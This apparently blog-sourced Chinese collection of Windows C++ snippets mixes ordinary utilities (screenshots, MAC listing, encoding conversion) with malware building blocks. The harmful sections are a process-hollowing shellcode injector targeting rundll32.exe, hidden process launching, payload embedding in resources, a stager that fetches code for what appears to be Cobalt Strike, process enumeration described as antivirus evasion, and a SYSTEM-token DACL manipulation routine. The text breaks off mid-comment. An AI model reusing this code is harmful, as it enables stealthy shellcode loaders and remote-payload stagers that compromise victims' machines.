Loading... 转载:https://blog.csdn.net/dxy0613/article/details/38181367 ## 截图 ```cpp HDC screenDC = CreateDC("DISPLAY", NULL, NULL, NULL); HDC hMemDC = CreateCompatibleDC(screenDC); //因为是获取整个桌面的图像,所以这里的x,y是事先获取到的屏幕分辨率,GetSystemMetrics可完成此功能 //两个内存对象的HDC参数要使用同一个,刚开始我使用错了,造成一直无法取得数据 HBITMAP hBitmap = CreateCompatibleBitmap(screenDC, x, y); BITMAPINFO bitmapInfo = {0}; //BITMAPINFO结构有两个成员变量,分别是BITMAPINFOHEADER结构和RGBQUAD结构, //BITMPINFOHEADER结构中包含了图像的一些基本信息,包括宽与高 //我们要先将biSize属性初始为BITMAPINFOHEADER结构的大小,以便GetDIBits函数在调用的时候填充其他的属性变量 bitmapInfo.bmiHeader.biSize = sizeof(BITMAPINFOHEADER); //将hBitmap选入到hMemDC中,通俗点说就是关联起来,对hMemDC的操作也就是对hBitmap操作, //比如在hMemDC中写入文字在hBitmap中也能体现,常见给图片打水印可以用这个方法实现 HBITMAP hOldBitmap = (HBITMAP)SelectObject(hMemDC, hBitmap); //StretchBlt函数,将拷贝整个屏幕的图像到hMemDC中,函数说明见MSDN,此处不详细解释 StretchBlt(hMemDC, 0, 0, x, y, screenDC, 0, 0, x, y, SRCCOPY); //第一次调用 GetDIBits函数,并将参数五置为NULL,且bitmapInfo的BITMAPINFOHEADER结构的biSize已经初始化过, //函数将会把图像的宽,高还有整个图像所点的字节数填充到bitmapInfo结构中,以便接下来的使用 //函数的详细解释网上很多。 GetDIBits(hMemDC, hBitmap, 0, y, NULL, &bitmapInfo, DIB_RGB_COLORS); //根据第一次调用 GetDIBits函数完成后,填充到bitmapInfo中的图像占字节数大小来动态分配内存 //你也可以用图像的宽*高来得到图像所占字节数,但此方法有一点要说明 ,第一行的字节数必须是4的倍数,不够的用0补足。 //例:宽为923像素的图像,923/4 = 230(取整数部分),多出三个字节,这个时候我们就要补足四位,变成(230+1)*4 = 924 实际一行占的字节数 unsigned char *bitmapBits = new unsigned char[bitmapInfo.bmiHeader.biSizeImage]; memset(bitmapBits, 0, bitmapInfo.bmiHeader.biSizeImage);//初始为0 //第二次调用函数,并且第五个参数为有效的指针且可写入, //函数调用后,将会把图像的每个像素点的RGB值 以16进制值写入到bitmapBits中, //常见的一个像素是占4个字节,第一个字节是蓝色--B,第二个字节是绿色--G,第三个字节是红色--R,第四个不知道 GetDIBits(hMemDC, hBitmap, 0, y, bitmapBits, &bitmapInfo, DIB_RGB_COLORS); SelectObject(hMemDC, hOldBitmap); //然后是释放资源 delete []bitmapBits; DeleteObject(hBitmap); DeleteDC(hMemDC); DeleteDC(screenDC); ``` ## C++ 判断当前系统位数 ```cpp BOOL Is64bitSystem() { SYSTEM_INFO si; GetNativeSystemInfo(&si); if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) return TRUE; else return FALSE; } ``` ## Buffer保存文件 ```cpp DWORD TOOL_File_to_NewBuffer(WCHAR* FilePath,char** Buffer) { //---------------------------------------写入文件 HANDLE NFile = 0; DWORD dwRetSize = 0; DWORD dwReadByte = 0; NFile = CreateFile(FilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, FALSE); if(NFile==INVALID_HANDLE_VALUE) { MessageBox(NULL, L"找不到加密文件", L"ERROR!", 0); return 0; } dwRetSize = GetFileSize(NFile, NULL); if (dwRetSize == 0) { MessageBox(NULL, L"文件大小错误", L"ERROR!", 0); return 0; } *Buffer = new char[dwRetSize] {0}; ReadFile(NFile, *Buffer, dwRetSize, &dwReadByte, NULL); if (dwReadByte == 0) { MessageBox(NULL, L"读取文件错误", L"ERROR!", 0); return 0; } CloseHandle(NFile); return dwReadByte; } DWORD TOOL_Buffer_to_File(char* Buffer, DWORD dwSize, WCHAR* FilePath) { //---------------------------------------写入文件 HANDLE NFile = 0; DWORD dwRetBuf = 0; do { NFile = CreateFile(FilePath, GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, FALSE); } while (GetLastError() == ERROR_ALREADY_EXISTS && DeleteFile(FilePath)); // if (GetLastError() == ERROR_ACCESS_DENIED) { MessageBox(NULL, L"出现错误,请用管理员权限重试", L"ERROR!", 0); return 0; } //生成的是ShellCode WriteFile(NFile, Buffer, dwSize, &dwRetBuf, FALSE); CloseHandle(NFile); return dwRetBuf; } ``` ## 随机生成一个范围的数字 ```cpp const int MAX_RAND = 32767; const int RandomNum(int min_num = 0, int max_num = MAX_RAND) { if (min_num > max_num) //如果将区间下限和上限写反,则交换 { swap(min_num,max_num); } int interval_num = max_num - min_num; if (interval_num <= 0) { return 0; } else if (interval_num < MAX_RAND) { return min_num + (rand() % interval_num); } else { return min_num + int(((rand() % MAX_RAND) * 1.0 / MAX_RAND) * interval_num); } } ``` ## 根据字符生成自己要的随机字符串 ```cpp #include<stdlib.h> #include<stdio.h> #include<time.h> char zcm(int n); char* GetMyID(DWORD Number); void main() { int k; srand(time(0)); char* Myid = GetMyID(32); std::cout << Myid<<std::endl; } char* GetMyID(DWORD Number) { char* Uid = new char[Number+1] {0}; char cTmp; for (int k = 0; k < Number; k++) { cTmp = zcm(rand() % 62); memcpy_s(Uid + k, 1, &cTmp, 1); } return Uid; } char zcm(int n) { char CRet; switch (n) { case 0:CRet='9'; break; case 1:CRet='q'; break; case 2:CRet='w'; break; case 3:CRet='e'; break; case 4:CRet='r'; break; case 5:CRet='t'; break; case 6:CRet='y'; break; case 7:CRet='u'; break; case 8:CRet='i'; break; case 9:CRet='o'; break; case 10:CRet='p'; break; case 11:CRet='a'; break; case 12:CRet ='e'; break; case 13:CRet='s'; break; case 14:CRet='d'; break; case 15:CRet='f'; break; case 16:CRet='g'; break; case 17:CRet='h'; break; case 18:CRet='j'; break; case 19:CRet='k'; break; case 20:CRet='l'; break; case 21:CRet='z'; break; case 22:CRet='x'; break; case 23:CRet='c'; break; case 24:CRet='v'; break; case 25:CRet='b'; break; case 26:CRet='n'; break; case 27:CRet='m'; break; case 28:CRet='Q'; break; case 29:CRet='W'; break; case 30:CRet='E'; break; case 31:CRet='R'; break; case 32:CRet='T'; break; case 33:CRet='Y'; break; case 34:CRet='U'; break; case 35:CRet='I'; break; case 36:CRet='O'; break; case 37:CRet='P'; break; case 38:CRet='A'; break; case 39:CRet='S'; break; case 40:CRet='D'; break; case 41:CRet='F'; break; case 42:CRet='G'; break; case 43:CRet='H'; break; case 44:CRet='J'; break; case 45:CRet='K'; break; case 46:CRet='L'; break; case 47:CRet='Z'; break; case 48:CRet='X'; break; case 49:CRet='C'; break; case 50:CRet='V'; break; case 51:CRet='B'; break; case 52:CRet='N'; break; case 53:CRet='M'; break; case 54:CRet='1'; break; case 55:CRet='2'; break; case 56:CRet='3'; break; case 57:CRet='4'; break; case 58:CRet='5'; break; case 59:CRet='6'; break; case 60:CRet='7'; break; case 61:CRet='8'; break; case 62:CRet='0'; break; }; return CRet; } ``` ## IP_MAC 查看 ```cpp #pragma once #include "stdafx.h" #include "GETIP.h" #include <iostream> #include <vector> #include <WinSock2.h> #include <Iphlpapi.h> #pragma comment(lib,"Iphlpapi.lib") //需要Iphlpapi.lib库 ,devc++中 项目 -> 项目选项-> 参数 -> 添加链接库 libiphlpapi.a (D:\Program Files (x86)\Dev-Cpp\MinGW64\x86_64-w64-mingw32\lib\libiphlpapi.a) using namespace std; void getAllAdapterInfo() { PIP_ADAPTER_INFO pIpAdapterInfo = new IP_ADAPTER_INFO[ADAPTERNUM];// 10个网卡空间 足够了 unsigned long stSize = sizeof(IP_ADAPTER_INFO) * ADAPTERNUM; // 获取所有网卡信息,参数二为输入输出参数 int nRel = GetAdaptersInfo(pIpAdapterInfo, &stSize); // 空间不足 if (ERROR_BUFFER_OVERFLOW == nRel) { // 释放空间 if (pIpAdapterInfo != NULL) delete[] pIpAdapterInfo; return; } PIP_ADAPTER_INFO cur = pIpAdapterInfo; // 多个网卡 通过链表形式链接起来的 while (cur) { cout << "网卡描述:" << cur->Description << endl; switch (cur->Type) { case MIB_IF_TYPE_OTHER: break; case MIB_IF_TYPE_ETHERNET: { IP_ADDR_STRING *pIpAddrString = &(cur->IpAddressList); cout << "IP:" << pIpAddrString->IpAddress.String << endl; cout << "子网掩码:" << pIpAddrString->IpMask.String << endl; } break; case MIB_IF_TYPE_TOKENRING: break; case MIB_IF_TYPE_FDDI: break; case MIB_IF_TYPE_PPP: break; case MIB_IF_TYPE_LOOPBACK: break; case MIB_IF_TYPE_SLIP: break; default://无线网卡,Unknown type { IP_ADDR_STRING *pIpAddrString = &(cur->IpAddressList); cout << "IP:" << pIpAddrString->IpAddress.String << endl; cout << "子网掩码:" << pIpAddrString->IpMask.String << endl; } break; } char hex[16] = { '0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F' }; // mac 地址一般6个字节 // mac 二进制转16进制字符串 char macStr[18] = { 0 };//12+5+1 int k = 0; for (int j = 0; j < cur->AddressLength; j++) { macStr[k++] = hex[(cur->Address[j] & 0xf0) >> 4]; macStr[k++] = hex[cur->Address[j] & 0x0f]; macStr[k++] = '-'; } macStr[k - 1] = 0; cout << "MAC:" << macStr << endl; // mac地址 16进制字符串表示 cur = cur->Next; cout << "--------------------------------------------------" << endl; } // 释放空间 if (pIpAdapterInfo != NULL) delete[] pIpAdapterInfo; } ``` ## 隐藏执行 ### CreateProcess ```cpp void CreateMyBatOrProcess(wchar_t *ExePath,wchar_t* Param) { // CreateProcess BOOL ret; DWORD dwExitCode; PROCESS_INFORMATION pi; STARTUPINFO si; si.cb = sizeof(STARTUPINFO); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; //si.wShowWindow = SW_HIDE; si.wShowWindow = SW_MINIMIZE; si.lpReserved = NULL; si.cbReserved2 = 0; si.lpReserved2 = NULL; GetStartupInfo(&si); // 该函数返回进程在启动时被指定的 STARTUPINFO 结构 // 执行CreateProcess 参数CREATE_NO_WINDOW 可以隐藏窗口 ret = ::CreateProcess(ExePath, Param, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi); if (ret) { // 关闭子进程的主线程句柄 WaitForSingleObject(pi.hProcess, INFINITE); // 等待子进程的退出 GetExitCodeProcess(&pi.hProcess, &dwExitCode); // 获取子进程的退出码 CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } else { // fail } } ``` ## 资源函数 ```cpp // IDR_TESTEXE1是新增资源在resource.h中定义的资源ID号 HRSRC hResInfo = FindResource(NULL, MAKEINTRESOURCE(IDR_TESTEXE1), L"PNG"); if (hResInfo == NULL) { DWORD dwError = GetLastError(); return -1; } // 加载资源 HGLOBAL hResData = LoadResource(NULL, hResInfo); // 锁住资源 LPVOID pvResData = LockResource(hResData); // 获取资源大小 DWORD dwResSize = SizeofResource(NULL, hResInfo); // 创建文件 HANDLE hFile = CreateFile(L"D:\\test\\test.png", GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_SHARE_READ, NULL); // 写文件 DWORD dwWritten = 0; WriteFile(hFile, pvResData, dwResSize, &dwWritten, NULL); CloseHandle(hFile); FreeResource(hResData); ``` ```cpp //从资源中获取并保存到本地 //ResourcesToFile(IDR_WIN4, L"WIN", LZ4LoadPath); //WCHAR LZ4LoadPath[] = { L"C:\\Windows\\Temp\\11.lz4" }; void ResourcesToFile(DWORD RESTYPE, const WCHAR* RESNAME,const WCHAR* OutFilePath) { HRSRC hResource; HGLOBAL hg; DWORD dwFileSize, dwResult; LPVOID LpBuffer =NULL; HANDLE NewLz4fIle; hResource = FindResource(NULL, MAKEINTRESOURCE(RESTYPE), RESNAME); if (!hResource) { return ; } hg = LoadResource(GetModuleHandle(NULL), hResource); dwFileSize = SizeofResource(NULL, hResource); if (hg) { LpBuffer = LockResource(hg); } NewLz4fIle = CreateFile(OutFilePath, GENERIC_READ | GENERIC_WRITE, FALSE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (NewLz4fIle == INVALID_HANDLE_VALUE) { return; } WriteFile(NewLz4fIle, LpBuffer, dwFileSize, &dwResult, NULL); if (dwResult == 0) { return; } CloseHandle(NewLz4fIle); } ``` ## 资源更新 ```cpp static BOOL My_UpdateResource(CString SrcFile, CString DisFile , CString ResName, DWORD RtType) { HANDLE hRes = NULL; DWORD dwFileSize = 0, dwResult = 0; void* FileBuffer = NULL; hRes = CreateFile(SrcFile, GENERIC_ALL, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hRes == INVALID_HANDLE_VALUE) { MessageBox(NULL, L"打开文件错误!", L"Error", 0); return true; } dwFileSize = GetFileSize(hRes, &dwFileSize); FileBuffer = new char[dwFileSize] {0}; ReadFile(hRes, FileBuffer, dwFileSize, &dwResult, NULL); char shellcode[0x100]{ 1 }; DWORD shellcodeSize = 0x100; HANDLE hResource = BeginUpdateResource(DisFile.AllocSysString(), FALSE); if (NULL != hResource) { if (UpdateResource(hResource, RT_RCDATA,ResName, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPVOID)FileBuffer, dwFileSize) != FALSE) { EndUpdateResource(hResource, FALSE); CloseHandle(hRes); MessageBox(NULL, L"成功!", L"Success!", 0); return false; } } CloseHandle(hRes); MessageBox(NULL, L"未知错误!", L"Error", 0); return true; } ``` ## 获取Windows 所以网卡和MAC ```cpp #include <iostream> #include <vector> #include <WinSock2.h> #include <Iphlpapi.h> #pragma comment(lib,"Iphlpapi.lib") //需要Iphlpapi.lib库 ,devc++中 项目 -> 项目选项-> 参数 -> 添加链接库 //libiphlpapi.a (D:\Program Files (x86)\Dev-Cpp\MinGW64\x86_64-w64-mingw32\lib\libiphlpapi.a) using namespace std; static const int ADAPTERNUM = 10; void getAllAdapterInfo(){ PIP_ADAPTER_INFO pIpAdapterInfo = new IP_ADAPTER_INFO[ADAPTERNUM];// 10个网卡空间 足够了 unsigned long stSize = sizeof(IP_ADAPTER_INFO) * ADAPTERNUM; // 获取所有网卡信息,参数二为输入输出参数 int nRel = GetAdaptersInfo(pIpAdapterInfo,&stSize); // 空间不足 if (ERROR_BUFFER_OVERFLOW == nRel) { // 释放空间 if(pIpAdapterInfo!=NULL) delete[] pIpAdapterInfo; return; } PIP_ADAPTER_INFO cur = pIpAdapterInfo; // 多个网卡 通过链表形式链接起来的 while(cur){ cout<<"网卡描述:"<<cur->Description<<endl; switch (cur->Type) { case MIB_IF_TYPE_OTHER: break; case MIB_IF_TYPE_ETHERNET: { IP_ADDR_STRING *pIpAddrString =&(cur->IpAddressList); cout << "IP:" << pIpAddrString->IpAddress.String << endl; cout << "子网掩码:" << pIpAddrString->IpMask.String <<endl; } break; case MIB_IF_TYPE_TOKENRING: break; case MIB_IF_TYPE_FDDI: break; case MIB_IF_TYPE_PPP: break; case MIB_IF_TYPE_LOOPBACK: break; case MIB_IF_TYPE_SLIP: break; default://无线网卡,Unknown type { IP_ADDR_STRING *pIpAddrString =&(cur->IpAddressList); cout << "IP:" << pIpAddrString->IpAddress.String << endl; cout << "子网掩码:" << pIpAddrString->IpMask.String <<endl; } break; } char hex[16] = {'0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F'} ; // mac 地址一般6个字节 // mac 二进制转16进制字符串 char macStr[18] = {0};//12+5+1 int k = 0; for(int j = 0; j < cur->AddressLength; j++){ macStr[k++] = hex[(cur->Address[j] & 0xf0) >> 4]; macStr[k++] = hex[cur->Address[j] & 0x0f]; macStr[k++] = '-'; } macStr[k-1] = 0; cout<<"MAC:" << macStr << endl; // mac地址 16进制字符串表示 cur = cur->Next; cout << "--------------------------------------------------" << endl; } // 释放空间 if(pIpAdapterInfo!=NULL) delete[] pIpAdapterInfo; } int main(int argc, char* argv[]) { getAllAdapterInfo(); return 0; } ``` ## DLL中傀儡进程注入ShellCode ```cpp WCHAR szFilePath[MAX_PATH + 1] = { 0 }; GetModuleFileName(NULL, szFilePath, MAX_PATH); lstrcpyW((szFilePath + (lstrlenW(szFilePath) - 3)), L"ini"); DWORD FileShellCodeSizeA = 0; int* RetShellInfoA = NULL; char* Buffer = NULL; //system("calc"); FileShellCodeSizeA = GetPeFile(szFilePath , Buffer); DWORD ssA = 0; void* ddA = Buf16ToMem16((char*)Buffer, &ssA); char* v7A = (char*)VirtualAlloc(0, FileShellCodeSizeA, 0x3000u, 0x40u); memcpy((void*)v7A, ddA, ssA); struct _PROCESS_INFORMATION ProcessInformation; struct _STARTUPINFOA StartupInfo; void* v24; CONTEXT Context; DWORD DwWrite = 0; memset(&StartupInfo, 0, sizeof(StartupInfo)); StartupInfo.cb = 68; BOOL result = CreateProcessA(0, (LPSTR)"rundll32.exe", 0, 0, 0, 0x44u, 0, 0, &StartupInfo, &ProcessInformation); if (result) { Context.ContextFlags = 65539; GetThreadContext(ProcessInformation.hThread, &Context); v24 = VirtualAllocEx(ProcessInformation.hProcess, 0, FileShellCodeSizeA, 0x1000u, 0x40u); WriteProcessMemory(ProcessInformation.hProcess, v24, v7A, FileShellCodeSizeA, &DwWrite); Context.Eip = (DWORD)v24; SetThreadContext(ProcessInformation.hThread, &Context); ResumeThread(ProcessInformation.hThread); CloseHandle(ProcessInformation.hThread); result = CloseHandle(ProcessInformation.hProcess); } TerminateProcess(GetCurrentProcess(), 0); DWORD GetPeFile(LPCWSTR Filepath, _Outptr_ char*& Buffer) { //创建文件打开 HANDLE lpFile = CreateFile(Filepath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (lpFile == INVALID_HANDLE_VALUE) { return 0; } //获取文件大小 DWORD FileSize = GetFileSize(lpFile, NULL); //申请空间 Buffer = (char*)malloc(FileSize * sizeof(BYTE)); //读取所有内容 DWORD RealSize; ReadFile(lpFile, (DWORD*)Buffer, FileSize, &RealSize, NULL); CloseHandle(lpFile); return FileSize; } ``` 需要ShellCode类型 89e0dbcfd970f45f57594949494949494949 ## 服务遍历 ```cpp #include <atlstr.h> //CString char *Svc = NULL; SC_HANDLE hSC; DWORD Code = 0, dwResumeHandle = 0, dwReturnBytes = 0, dwNeedBytes = 0, dwBufSize = 0; CString TermServiceName; BOOL Started = FALSE; //服务是否开启 DWORD TermServicePID; BOOL Found = FALSE; LPDWORD lpResumeHandle = NULL; LPENUM_SERVICE_STATUS_PROCESS pServiceInfo = NULL; LPENUM_SERVICE_STATUS pServices = NULL; back: //如果没有启动服务会陷入循环 hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE); if (hSC == 0) { Code = GetLastError(); printf("[-] OpenSCManager error (code '%d').'\n", Code); } //获取需要存储服务的缓冲区大小 if (0 == EnumServicesStatusEx(hSC, SC_ENUM_PROCESS_INFO, SERVICE_WIN32, SERVICE_STATE_ALL, (LPBYTE)Svc, dwBufSize + 1, &dwNeedBytes, &dwReturnBytes, lpResumeHandle, NULL)) { Code = GetLastError(); if (Code != ERROR_MORE_DATA) { printf("[-] EnumServicesStatusEx error (code '%d').'\n", Code); } } //长度加长点 dwBufSize = dwNeedBytes + sizeof(ENUM_SERVICE_STATUS_PROCESS); Svc = new char[dwBufSize+1]{ 0 }; //EnumServicesStatus(hSC, SERVICE_WIN32, SERVICE_STATE_ALL, // Svc, 0, &dwNeedBytes, &dwReturnBytes, lpResumeHandle); if (0 == EnumServicesStatusEx(hSC, SC_ENUM_PROCESS_INFO, SERVICE_WIN32, SERVICE_STATE_ALL, (LPBYTE)Svc, dwBufSize + 1, &dwNeedBytes, &dwReturnBytes, lpResumeHandle,NULL)) { delete Svc; Svc = NULL; Code = GetLastError(); printf("[-] EnumServicesStatusEx error (code '%d').'\n", Code); CloseServiceHandle(hSC); return; } CloseServiceHandle(hSC); pServiceInfo = (LPENUM_SERVICE_STATUS_PROCESS)Svc; for (int i = 0; i < dwBufSize; ++i) { if (lstrlenW(pServiceInfo[i].lpServiceName) == 0) { continue; } //显示名称 服务名称 printf("%s--%s\n", pServiceInfo[i].lpDisplayName, pServiceInfo[i].lpServiceName); if (StrCmpW(TermService, pServiceInfo[i].lpServiceName) == 0) { //找到自己的服务 printf("%s--%s\n", pServiceInfo[i].lpDisplayName, pServiceInfo[i].lpServiceName); Found = TRUE; TermServiceName = pServiceInfo[i].lpServiceName; TermServicePID = pServiceInfo[i].ServiceStatusProcess.dwProcessId; } } ``` ## 字节码转换 ```cpp //转码 wchar_t* UTF8ToUnicode(const char* str) { int textlen = 0; wchar_t* result; textlen = MultiByteToWideChar(CP_UTF8, 0, str, -1, NULL, 0); result = (wchar_t*)malloc((textlen + 1) * sizeof(wchar_t)); memset(result, 0, (textlen + 1) * sizeof(wchar_t)); MultiByteToWideChar(CP_UTF8, 0, str, -1, (LPWSTR)result, textlen); return result; } //转码utf8 char* UnicodeToUTF8(const WCHAR* str) { int nByte; char* zFilename; nByte = WideCharToMultiByte(CP_UTF8, 0, str, -1, 0, 0, 0, 0); zFilename = static_cast<char*>(malloc(nByte)); if (zFilename == 0) { return 0; } nByte = WideCharToMultiByte(CP_UTF8, 0, str, -1, zFilename, nByte, 0, 0); if (nByte == 0) { free(zFilename); zFilename = 0; } return zFilename; } char* UnicodeToANSI(const wchar_t* str) { char* result; int textlen = 0; textlen = WideCharToMultiByte(CP_ACP, 0, str, -1, NULL, 0, NULL, NULL); result = (char*)malloc((textlen + 1) * sizeof(char)); memset(result, 0, sizeof(char) * (textlen + 1)); WideCharToMultiByte(CP_ACP, 0, str, -1, result, textlen, NULL, NULL); return result; } char* Tool_GbkToUtf8(const char* src_str) { int len = MultiByteToWideChar(CP_ACP, 0, src_str, -1, NULL, 0); wchar_t* wstr = new wchar_t[len + 1]; memset(wstr, 0, len + 1); MultiByteToWideChar(CP_ACP, 0, src_str, -1, wstr, len); len = WideCharToMultiByte(CP_UTF8, 0, wstr, -1, NULL, 0, NULL, NULL); char* str = new char[len + 1]; memset(str, 0, len + 1); WideCharToMultiByte(CP_UTF8, 0, wstr, -1, str, len, NULL, NULL); char* strTemp = str; if (wstr) delete[] wstr; if (str) delete[] str; return strTemp; } char* Tool_UTF8ToGBK(const char* src_str) { int len = MultiByteToWideChar(CP_UTF8, 0, src_str, -1, NULL, 0); wchar_t* wszGBK = new wchar_t[len + 1]; memset(wszGBK, 0, len * 2 + 2); MultiByteToWideChar(CP_UTF8, 0, src_str, -1, wszGBK, len); len = WideCharToMultiByte(CP_ACP, 0, wszGBK, -1, NULL, 0, NULL, NULL); char* szGBK = new char[len + 1]; memset(szGBK, 0, len + 1); WideCharToMultiByte(CP_ACP, 0, wszGBK, -1, szGBK, len, NULL, NULL); char* strTemp(szGBK); if (wszGBK) delete[] wszGBK; if (szGBK) delete[] szGBK; return strTemp; } wchar_t* Tool_CharToWchar(const char* c, size_t m_encode) { wchar_t* str; int len = MultiByteToWideChar(m_encode, 0, c, strlen(c), NULL, 0); wchar_t* m_wchar = new wchar_t[len + 1]; MultiByteToWideChar(m_encode, 0, c, strlen(c), m_wchar, len); m_wchar[len] = '\0'; str = m_wchar; delete m_wchar; return str; } char* Tool_WcharToChar(const wchar_t* wp, size_t m_encode) { char* str; int len = WideCharToMultiByte(m_encode, 0, wp, wcslen(wp), NULL, 0, NULL, NULL); char* m_char = new char[len + 1]; WideCharToMultiByte(m_encode, 0, wp, wcslen(wp), m_char, len, NULL, NULL); m_char[len] = '\0'; str = m_char; delete m_char; return str; } ``` ## 遍历进程找到某个程序 以遍历的方式可以规避某些杀软 ```cpp // coded by orca666 #include <windows.h> #include <iostream> #include <string> #include <Tlhelp32.h> #include "connector.h" #ifdef __cplusplus extern "C" { #endif DWORD FindProcessId(const std::wstring& processName); int find() { std::wstring processName = L"explorer.exe"; DWORD processID = FindProcessId(processName); return processID; } int find2() { std::wstring processName = L"chrome.exe"; DWORD processID = FindProcessId(processName); return processID; } DWORD FindProcessId(const std::wstring& processName) { PROCESSENTRY32 processInfo; processInfo.dwSize = sizeof(processInfo); HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (processesSnapshot == INVALID_HANDLE_VALUE) return 0; Process32First(processesSnapshot, &processInfo); if (!processName.compare(processInfo.szExeFile)) { CloseHandle(processesSnapshot); return processInfo.th32ProcessID; } while (Process32Next(processesSnapshot, &processInfo)) { if (!processName.compare(processInfo.szExeFile)) { CloseHandle(processesSnapshot); return processInfo.th32ProcessID; } } CloseHandle(processesSnapshot); return 0; } #ifdef __cplusplus } #endif ``` ## 关于CS 下载代码 ```cpp #include <stdio.h> #pragma comment(lib, "ws2_32.lib") char* GetCode(const char* host) { WSADATA data; int err = WSAStartup(MAKEWORD(2, 2), &data); LPSTR ipstr = (char*)host; //Socket封装 struct sockaddr_in si; si.sin_family = AF_INET; si.sin_port = htons(80); si.sin_addr.S_un.S_addr = inet_addr(ipstr); int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); connect(sock, (SOCKADDR*)&si, sizeof(si)); if (sock == -1 || sock == -2) return 0; //发送请求 char request[1024] = "GET /download/file.ext HTTP/1.1\r\nHost:"; strcat_s(request, host); strcat_s(request, "\r\nConnection:Close\r\n\r\n"); int ret = send(sock, request, strlen(request), 0); const int bufsize = 4096; char* buf = (char*)calloc(bufsize, 1); ret = recv(sock, buf, bufsize - 1, 0); while (TRUE) { if (*buf == '\x0d' && *(buf + 1) == '\x0a' && *(buf + 2) == '\x0d' && *(buf + 3) == '\x0a') break; else buf++; } buf += 4; closesocket(sock); WSACleanup(); return buf; } ``` ## 挂起线程 ```cpp //windows核心编程 第5版中的一段代码 /* 函数功能:挂起进程中的所有线程 参数1:进程ID 参数2:若为TRUE时对进程中的所有线程调用SuspendThread,挂起线程 若为FALSE时对进程中的所有线程调用ResumeThread,恢复线程 */ VOID SuspendProcess(DWORD dwProcessID, BOOL fSuspend) { HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, dwProcessID); if (hSnapshot != INVALID_HANDLE_VALUE) { THREADENTRY32 te = {sizeof(te)}; BOOL fOk = Thread32First(hSnapshot, &te); for (; fOk; fOk = Thread32Next(hSnapshot, &te)) { if (te.th32OwnerProcessID == dwProcessID) { HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME, FALSE, te.th32ThreadID); if (hThread != NULL) { if (fSuspend) { SuspendThread(hThread); } else { ResumeThread(hThread); } } CloseHandle(hThread); } } CloseHandle(hSnapshot); } } ``` ## 跨session 创建进程 **注意需要管理员以上的权限,有一些API需要SYSTEM权限** ```cpp // EnableDebugPriv(); // //char g_TargetName[0x40] = { "C:\\Windows\\explorer.exe" }; //主要运行注册表和 //WinExec(g_TargetName, SW_SHOWNORMAL); // char* UserName = new char[0x100]{ "SYSTEM" }; // //GetSessionUserName(dwSessionID, UserName); // //使用sessionID创建 // //CreateProRemoteUser(0, UserName, g_TargetName, NULL, false); // // HANDLE hProcess; // HANDLE hToken, hNewToken; // DWORD dwPid; // // PACL pOldDAcl = NULL; // PACL pNewDAcl = NULL; // BOOL bDAcl; // BOOL bDefDAcl; // DWORD dwRet; // // PACL pSacl = NULL; // PSID pSidOwner = NULL; // PSID pSidPrimary = NULL; // DWORD dwAclSize = 0; // DWORD dwSaclSize = 0; // DWORD dwSidOwnLen = 0; // DWORD dwSidPrimLen = 0; // // DWORD dwSDLen; // EXPLICIT_ACCESSW ea; // PSECURITY_DESCRIPTOR pOrigSd = NULL; // PSECURITY_DESCRIPTOR pNewSd = NULL; // // STARTUPINFOA si; // PROCESS_INFORMATION pi; // // // BOOL bError; // //OutputDebugStringA("CreateSystemProcess"); // RTLADJUSTPRIVILEGE RtlAdjustPrivilege = NULL; // RtlAdjustPrivilege = (RTLADJUSTPRIVILEGE)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "RtlAdjustPrivilege"); // if (RtlAdjustPrivilege) // { // BOOLEAN blPev; // RtlAdjustPrivilege(20, TRUE, FALSE, &blPev); // } // //OutputDebugStringA("GetProcHandForUserName"); // //hProcess = GetProcHandForSession(SID); // hProcess = GetProcHandForUserName(UserName); // // //OutputDebugStringA("OpenProcessToken"); // if (!OpenProcessToken(hProcess, READ_CONTROL | WRITE_DAC, &hToken)) // { // printf("OpenProcessToken() = %d\n", GetLastError()); // //OutputDebugStringA("OpenProcessToken"); // bError = TRUE; // goto Cleanup; // } // // //OutputDebugStringA("BuildExplicitAccessWithName"); // // 设置 ACE 具有所有访问权限 // ZeroMemory(&ea, sizeof(EXPLICIT_ACCESSW)); // BuildExplicitAccessWithNameW( // &ea, // L"Everyone", // TOKEN_ALL_ACCESS, // GRANT_ACCESS, // 0); // // if (!GetKernelObjectSecurity( // hToken, // DACL_SECURITY_INFORMATION, // pOrigSd, // 0, // &dwSDLen)) // { // // 第一次调用给出的参数肯定返回这个错误,这样做的目的是 // // 为了得到原安全描述符 pOrigSd 的长度 // if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) // { // pOrigSd = (PSECURITY_DESCRIPTOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwSDLen); // if (pOrigSd == NULL) // { // printf("Allocate pSd memory to failed!\n"); // // bError = TRUE; // goto Cleanup; // } // // // 再次调用才正确得到安全描述符 pOrigSd // if (!GetKernelObjectSecurity( // hToken, // DACL_SECURITY_INFORMATION, // pOrigSd, // dwSDLen, // &dwSDLen)) // { // printf("GetKernelObjectSecurity() = %d\n", GetLastError()); // bError = TRUE; // goto Cleanup; // } // } // else // { // 